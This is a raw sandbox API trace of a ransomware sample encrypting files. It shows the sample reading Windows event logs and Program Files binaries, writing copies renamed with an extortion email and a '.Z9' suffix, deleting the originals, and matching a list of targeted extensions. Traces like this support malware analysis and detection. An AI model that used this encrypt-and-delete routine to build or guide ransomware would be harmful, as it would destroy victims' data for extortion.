	[0083.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0083.811] lstrlenW (lpString=".jpg") returned 4
	[0083.811] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.811] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.811] lstrlenW (lpString="Windows PowerShell.evtx") returned 23
	[0083.811] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.811] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=69632) returned 1
	[0083.812] CloseHandle (hObject=0x320) returned 1
	[0083.812] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20
	[0083.812] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.812] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.812] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.812] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.812] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0083.812] GetLastError () returned 0x0
	[0083.812] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0084.284] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0084.286] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.286] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x102, lpOverlapped=0x0) returned 1
	[0084.286] SetEndOfFile (hFile=0x358) returned 1
	[0084.286] CloseHandle (hObject=0x358) returned 1
	[0084.288] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.289] SetEndOfFile (hFile=0x320) returned 1
	[0084.290] CloseHandle (hObject=0x320) returned 1
	[0084.290] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.290] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1
	[0084.290] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.290] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.290] lstrlenW (lpString=".doc") returned 4
	[0084.290] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.290] lstrlenW (lpString=".docx") returned 5
	[0084.290] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.290] lstrlenW (lpString=".pdf") returned 4
	[0084.290] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.290] lstrlenW (lpString=".xls") returned 4
	[0084.291] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString=".xlsx") returned 5
	[0084.291] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.291] lstrlenW (lpString=".ppt") returned 4
	[0084.291] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.291] lstrlenW (lpString=".zip") returned 4
	[0084.291] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString=".rar") returned 4
	[0084.291] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString=".bz2") returned 4
	[0084.291] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString=".7z") returned 3
	[0084.291] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.291] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.291] lstrlenW (lpString=".dbf") returned 4
	[0084.291] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.291] lstrlenW (lpString=".1cd") returned 4
	[0084.291] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.291] lstrlenW (lpString=".jpg") returned 4
	[0084.291] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.291] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.291] lstrlenW (lpString=".doc") returned 4
	[0084.291] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString=".docx") returned 5
	[0084.291] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.291] lstrlenW (lpString=".pdf") returned 4
	[0084.291] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString=".xls") returned 4
	[0084.291] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.291] lstrlenW (lpString=".xlsx") returned 5
	[0084.291] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.292] lstrlenW (lpString=".ppt") returned 4
	[0084.292] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.292] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.292] lstrlenW (lpString=".zip") returned 4
	[0084.292] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.292] lstrlenW (lpString=".rar") returned 4
	[0084.292] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.292] lstrlenW (lpString=".bz2") returned 4
	[0084.292] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.292] lstrlenW (lpString=".7z") returned 3
	[0084.292] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.292] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.292] lstrlenW (lpString=".dbf") returned 4
	[0084.292] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.292] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.292] lstrlenW (lpString=".1cd") returned 4
	[0084.292] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.292] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.292] lstrlenW (lpString=".jpg") returned 4
	[0084.292] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.292] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0084.292] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0084.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.293] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=78336) returned 1
	[0084.293] CloseHandle (hObject=0x320) returned 1
	[0084.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe")) returned 0x20
	[0084.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\joan packages omissions.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.293] lstrlenW (lpString=".doc") returned 4
	[0084.293] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.293] lstrlenW (lpString=".docx") returned 5
	[0084.293] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0084.293] lstrlenW (lpString=".pdf") returned 4
	[0084.293] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.293] lstrlenW (lpString=".xls") returned 4
	[0084.293] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.293] lstrlenW (lpString=".xlsx") returned 5
	[0084.293] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0084.293] lstrlenW (lpString=".ppt") returned 4
	[0084.293] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.293] lstrlenW (lpString=".zip") returned 4
	[0084.293] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.293] lstrlenW (lpString=".rar") returned 4
	[0084.293] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.293] lstrlenW (lpString=".bz2") returned 4
	[0084.293] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.294] lstrlenW (lpString=".7z") returned 3
	[0084.294] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.294] lstrlenW (lpString=".dbf") returned 4
	[0084.294] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.294] lstrlenW (lpString=".1cd") returned 4
	[0084.294] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.294] lstrlenW (lpString=".jpg") returned 4
	[0084.294] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.294] lstrlenW (lpString=".doc") returned 4
	[0084.294] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.294] lstrlenW (lpString=".docx") returned 5
	[0084.294] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0084.294] lstrlenW (lpString=".pdf") returned 4
	[0084.294] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.294] lstrlenW (lpString=".xls") returned 4
	[0084.294] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.294] lstrlenW (lpString=".xlsx") returned 5
	[0084.294] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0084.294] lstrlenW (lpString=".ppt") returned 4
	[0084.294] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.294] lstrlenW (lpString=".zip") returned 4
	[0084.294] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.294] lstrlenW (lpString=".rar") returned 4
	[0084.294] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.294] lstrlenW (lpString=".bz2") returned 4
	[0084.294] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.294] lstrlenW (lpString=".7z") returned 3
	[0084.294] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.295] lstrlenW (lpString=".dbf") returned 4
	[0084.295] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.295] lstrlenW (lpString=".1cd") returned 4
	[0084.295] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\joan packages omissions.exe") returned 57
	[0084.295] lstrlenW (lpString=".jpg") returned 4
	[0084.295] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.295] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0084.295] lstrlenW (lpString="leechftp.exe") returned 12
	[0084.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.295] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=78336) returned 1
	[0084.295] CloseHandle (hObject=0x320) returned 1
	[0084.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe")) returned 0x20
	[0084.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\leechftp.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\leechftp.exe" (normalized: "c:\\program files\\common files\\leechftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString=".doc") returned 4
	[0084.296] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.296] lstrlenW (lpString=".docx") returned 5
	[0084.296] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0084.296] lstrlenW (lpString=".pdf") returned 4
	[0084.296] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.296] lstrlenW (lpString=".xls") returned 4
	[0084.296] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.296] lstrlenW (lpString=".xlsx") returned 5
	[0084.296] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0084.296] lstrlenW (lpString=".ppt") returned 4
	[0084.296] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString=".zip") returned 4
	[0084.296] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.296] lstrlenW (lpString=".rar") returned 4
	[0084.296] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.296] lstrlenW (lpString=".bz2") returned 4
	[0084.296] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.296] lstrlenW (lpString=".7z") returned 3
	[0084.296] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString=".dbf") returned 4
	[0084.296] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString=".1cd") returned 4
	[0084.296] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString=".jpg") returned 4
	[0084.296] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.296] lstrlenW (lpString=".doc") returned 4
	[0084.296] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.297] lstrlenW (lpString=".docx") returned 5
	[0084.297] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0084.297] lstrlenW (lpString=".pdf") returned 4
	[0084.297] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.297] lstrlenW (lpString=".xls") returned 4
	[0084.297] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.297] lstrlenW (lpString=".xlsx") returned 5
	[0084.297] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0084.297] lstrlenW (lpString=".ppt") returned 4
	[0084.297] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0084.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.297] lstrlenW (lpString=".zip") returned 4
	[0084.297] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0084.297] lstrlenW (lpString=".rar") returned 4
	[0084.297] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0084.297] lstrlenW (lpString=".bz2") returned 4
	[0084.297] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0084.297] lstrlenW (lpString=".7z") returned 3
	[0084.297] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0084.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.297] lstrlenW (lpString=".dbf") returned 4
	[0084.297] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0084.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.297] lstrlenW (lpString=".1cd") returned 4
	[0084.297] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0084.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\leechftp.exe") returned 42
	[0084.297] lstrlenW (lpString=".jpg") returned 4
	[0084.297] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0084.297] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0084.297] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0084.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.298] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=18624) returned 1
	[0084.298] CloseHandle (hObject=0x320) returned 1
	[0084.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20
	[0084.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0084.298] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.298] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0084.299] GetLastError () returned 0x0
	[0084.299] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0084.300] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0084.302] ReadFile (in: hFile=0x320, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.302] WriteFile (in: hFile=0x358, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x112, lpOverlapped=0x0) returned 1
	[0084.302] SetEndOfFile (hFile=0x358) returned 1
	[0084.302] CloseHandle (hObject=0x358) returned 1
	[0084.354] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.354] SetEndOfFile (hFile=0x320) returned 1
	[0084.355] CloseHandle (hObject=0x320) returned 1
	[0084.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0084.355] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1
	[0084.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.355] lstrlenW (lpString=".doc") returned 4
	[0084.355] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.355] lstrlenW (lpString=".docx") returned 5
	[0084.356] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.356] lstrlenW (lpString=".pdf") returned 4
	[0084.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.356] lstrlenW (lpString=".xls") returned 4
	[0084.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.356] lstrlenW (lpString=".xlsx") returned 5
	[0084.356] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.356] lstrlenW (lpString=".ppt") returned 4
	[0084.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.356] lstrlenW (lpString=".zip") returned 4
	[0084.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.356] lstrlenW (lpString=".rar") returned 4
	[0084.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.356] lstrlenW (lpString=".bz2") returned 4
	[0084.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.356] lstrlenW (lpString=".7z") returned 3
	[0084.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.356] lstrlenW (lpString=".dbf") returned 4
	[0084.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.356] lstrlenW (lpString=".1cd") returned 4
	[0084.356] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.356] lstrlenW (lpString=".jpg") returned 4
	[0084.356] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89
	[0084.356] lstrlenW (lpString=".doc") returned 4
	[0084.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.356] lstrlenW (lpString=".docx") returned 5
	[0084.356] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.356] lstrlenW (lpString=".pdf") returned 4
	[0084.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.357] lstrlenW (lpString=".xls") returned 4
	[0084.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.357] lstrlenW (lpString=".xlsx") returned 5
	[0084.357] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.357] lstrlenW (lpString=".ppt") returned 4
	[0084.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
